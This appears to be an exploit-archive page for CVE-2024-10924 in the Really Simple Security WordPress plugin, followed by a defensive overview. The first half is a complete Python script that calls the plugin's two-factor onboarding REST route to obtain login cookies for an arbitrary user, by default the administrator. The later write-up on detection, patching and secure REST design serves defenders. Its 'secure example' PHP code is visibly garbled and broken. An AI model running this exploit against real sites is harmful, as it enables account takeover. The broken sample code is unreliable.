Really Simple Security 9.1.1.1 - Authentication Bypass

Exploit Author: Antonio Francesco Sardella Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-15
#!/usr/bin/env python3

# Exploit Title: Really Simple Security 9.1.1.1 - Authentication Bypass
# Date: 2024-11-19
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://really-simple-ssl.com/
# Software Link: https://really-simple-ssl.com/
# Version: Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 - 9.1.1.1
# Tested on: 'WordPress 6.7.0' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution)
# CVE: CVE-2024-10924
# Category: WebApps
# Repository: https://github.com/m3ssap0/wordpress-really-simple-security-authn-bypass-exploit
# Vulnerability discovered and reported by: István Márton

# This is a Python3 program that exploits Really Simple Security < 9.1.2 authentication bypass vulnerability.

# This makes it possible for unauthenticated attackers to log in as any existing user on the site, 
# such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).

# https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass
# https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl

# DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
# Please use this tool responsibly. I do not take responsibility for the way in which any one uses 
# this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.

import argparse
import json
import logging
import random
import requests
import string
import validators

from requests.auth import HTTPBasicAuth

VERSION = "v1.0 (2024-11-19)"
DEFAULT_LOGGING_LEVEL = logging.INFO

def parse_arguments():
    parser = argparse.ArgumentParser(
        description=f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}"
    )
    parser.add_argument("-t", "--target",
                        required=True,
                        help="URL of the target WordPress")
    parser.add_argument("-uid", "--user-id",
                        required=False,
                        default=1,
                        help="Victim user ID (1 is usually the admin).")
    parser.add_argument("-v", "--verbose",
                        action="store_true",
                        required=False,
                        default=False,
                        help="verbose mode")
    return parser.parse_args()

def validate_input(args):
    try:
        validators.url(args.target)
    except validators.ValidationFailure:
        raise ValueError("Invalid target URL!")
    
    try:
        if int(args.user_id) < 1:
            raise ValueError("Invalid user ID!")
    except ValueError:
        raise ValueError("Invalid user ID!")

def send_request(url, user_id):
    logging.info("Sending request to target WordPress.")

    target_endpoint = f"{url}"
    if not target_endpoint.endswith("/"):
        target_endpoint = f"{target_endpoint}/"
    target_endpoint = f"{target_endpoint}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
    }

    body = {
        "user_id": int(user_id),
        "login_nonce": "".join(random.choices(string.digits, k=10)),
        "redirect_to": "/wp-admin/"
    }
    logging.debug(f"Body: {body}")

    try:
        r = requests.post(target_endpoint, headers=headers, json=body , verify=False)
        logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).")
    except Exception as e:
        logging.fatal("Error in contacting the target WordPress.")
        logging.fatal(e)
        return
    
    if r.status_code == 200 and r.headers["Set-Cookie"] is not None and "redirect_to" in r.text and "=deleted;" not in r.headers["Set-Cookie"]:
        logging.info(f"Cookie received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------")
    else:
        logging.fatal("Wrong response received from the target WordPress.")
        logging.debug(f"Cookie and body received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------\n{r.text}\n---------------------")

def main():
    args = parse_arguments()
    logging_level = DEFAULT_LOGGING_LEVEL
    if args.verbose:
        logging_level = logging.DEBUG
    logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s")

    validate_input(args)
    target = args.target.strip()
    user_id = int(args.user_id)
    logging.info(f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}")
    logging.debug("Parameters:")
    logging.debug(f"    target = {target}")
    logging.debug(f"   user_id = {user_id}")

    send_request(target, user_id)

    logging.info("Finished.")

if __name__ == "__main__":
    main()


Really Simple Security 9.1.1.1 — Authentication Bypass (CVE-2024-10924): Overview, Impact, and Mitigations

In late 2024 a serious vulnerability (tracked as CVE-2024-10924) was disclosed in the Really Simple Security WordPress plugin (Free, Pro, and Pro Multisite releases prior to 9.1.2). The flaw allows unauthenticated actors to bypass authentication controls under specific configurations and gain a valid authenticated session for an existing user when Two‑Factor Authentication (2FA) features are enabled. While the vulnerability has a public fix, understanding the root cause, detection strategies, and mitigations helps defenders and site operators harden their environment and respond if they were exposed.

What the vulnerability is (high‑level)

At a high level, a REST API route exposed by the plugin accepted unauthenticated POST requests that allowed the server to set authentication cookies or otherwise mark a user as “logged in” without verifying that the requester was an authenticated and authorized user. When 2FA was enabled in the plugin, the logic that was meant to gate access failed to enforce proper permission/nonce checks, enabling an attacker to obtain an authenticated session for an arbitrary existing user ID.

Why this matters

  • Authentication bypasses are high severity: they can allow full takeover of administrator accounts if the targeted user has administrative privileges.
  • Many WordPress sites rely on plugins for 2FA and session handling; a flaw in those flows undermines all the protections they are supposed to provide.
  • Automated scanners and opportunistic attackers often target publicly known vulnerable plugin versions, increasing risk for unpatched sites.

Affected versions

Really Simple Security releases prior to the patched 9.1.2 (including 9.0.0 up to 9.1.1.1 as reported) are impacted. Site operators should confirm plugin versions and upgrade immediately where applicable.

Technical root cause (concise, non‑actionable)

The underlying issue is a missing or insufficient authorization/nonce check on a REST endpoint that can influence authentication state. In secure WordPress REST handlers, sensitive actions must only be allowed when:

  • the request is made by an authenticated user with appropriate capabilities, OR
  • a valid nonce or other cryptographic proof is provided and verified, OR
  • the permission callback explicitly enforces that only allowed principals can perform the operation.

When those checks are omitted or implemented incorrectly, an attacker can make crafted requests that alter session state (e.g., set cookies or flip onboarding/2FA flags) without valid credentials.

Realistic impact and use cases

  • Privilege escalation: if an attacker can create an authenticated session for an administrator, they can access wp-admin, install plugins/themes, create new accounts, or exfiltrate data.
  • Account takeover: attackers can impersonate an individual user to access private content or functionality restricted to that user.
  • Supply‑chain risk: hacked admin accounts can be used to distribute backdoors and persistent malware to site visitors.

Detection and indicators of compromise

Operators should search logs and telemetry for signs that the vulnerable plugin endpoints were called from unexpected sources or that authentication cookies were issued without corresponding successful credential events.

  • Web server and application logs: look for POST requests to plugin-related REST endpoints around the time suspicious logins occurred.
  • Authentication logs: compare cookie issuance with login events — cookies created without a matching interactive login are suspicious.
  • File system and configuration: check for unexpected admin users, changed plugin/theme files, and scheduled tasks (cron jobs).
  • Monitoring systems: alerts for new administrative accounts, file integrity changes, or unexpected outbound connections may indicate compromise.

Mitigation and immediate actions

  • Patch immediately: update Really Simple Security to version 9.1.2 or later where the issue is fixed.
  • If you cannot patch right away, remove/disable the plugin until a patch can be applied.
  • Harden access to wp-admin and REST endpoints using network controls (IP allowlists, VPN), or an application firewall that blocks unexpected POSTs to plugin REST routes from unauthenticated sources.
  • Rotate credentials and revoke sessions for accounts that could have been affected. Force password resets and invalidate existing auth cookies if compromise is suspected.
  • Enable strict logging and retention to support forensic investigation.

Recommended secure coding and configuration practices

Developers and integrators should follow secure patterns when exposing REST API endpoints and when manipulating authentication state.

  • Use permission callbacks: register_rest_route should include a permission_callback that performs explicit capability checks or nonce verification.
  • Do not set authentication cookies or mark users as logged in based on unvalidated input.
  • Validate and sanitize all input parameters (especially user IDs) and ensure they map to existing, expected users.
  • Follow the principle of least privilege: REST endpoints that affect users should require a capability such as edit_user or manage_options.

Secure example: REST route with strong permission checks

/* Register a REST route with a strong permission callback */add_action( 'rest_api_init', function () {
  register_rest_route(
    'example-plugin/v1',
    '/sensitive_action',
    array(
      'methods'             => 'POST',
      'callback'            => 'example_sensitive_action_handler',
      'permission_callback' => 'example_sensitive_action_permissions',
    )
  );
});

/* Permission callback: only allow logged-in users that can edit the referenced user */function example_sensitive_action_permissions( WP_REST_Request $request ) {
  $user_id = intval( $request->get_param( 'user_id' ) );
  if ( $user_id  400 ) );
  }

  /* Require an authenticated user and appropriate capability */  if ( ! is_user_logged_in() ) {
    return false;
  }
  if ( ! current_user_can( 'edit_user', $user_id ) ) {
    return false;
  }

  return true;
}

/* Handler: only executed when permission_callback returns true */function example_sensitive_action_handler( WP_REST_Request $request ) {
  // Perform action for authorized user...
  return rest_ensure_response( array( 'success' => true ) );
}

Explanation: the permission callback inspects the request and ensures the requester is authenticated and authorized to operate on the target user. The callback returns false, or a WP_Error, for unauthorized requests so the endpoint never executes the sensitive handler logic.

Hardening and operational recommendations

  • Keep WordPress core, themes, and all plugins up to date. Subscribe to vendor/security mailing lists for timely notices.
  • Apply the principle of defense‑in‑depth: combine plugin updates with WAF rules, IP restrictions for administrative interfaces, and strong MFA for all privileged accounts.
  • Use server‑side session management and invalidate sessions when suspicious actions are detected.
  • Regularly audit installed plugins and remove unused ones. Fewer plugins reduce attack surface.
  • Adopt a security incident playbook: detection → containment → eradication → recovery, with communication and evidence preservation steps.

Post‑incident checklist

Task Why
Upgrade plugin to 9.1.2+ Closes the known vulnerability
Rotate credentials and force password resets for privileged users Prevents reused credentials from granting access after patching
Invalidate sessions (revoke auth cookies) Removes potentially attacker‑issued sessions
Review logs and exported evidence Identify scope and timeline of any abuse
Rebuild or restore compromised components Ensure no persistent backdoors remain

Responsible disclosure and timeline

Vulnerability disclosures follow a responsible disclosure process: discoverer reports to vendor, vendor patches, coordinated public disclosure occurs, and a CVE identifier is published. Operators should treat published CVEs as high priority and apply vendor-supplied patches or mitigations immediately.

Key takeaways

  • Authentication bypass vulnerabilities are high risk; patching is essential.
  • Secure REST API design requires explicit permission checks and careful session handling.
  • Combine patching with operational mitigations (WAF, logging, session invalidation) when responding to live threats.
  • Regular audits and a security incident response plan reduce recovery time and impact if a compromise occurs.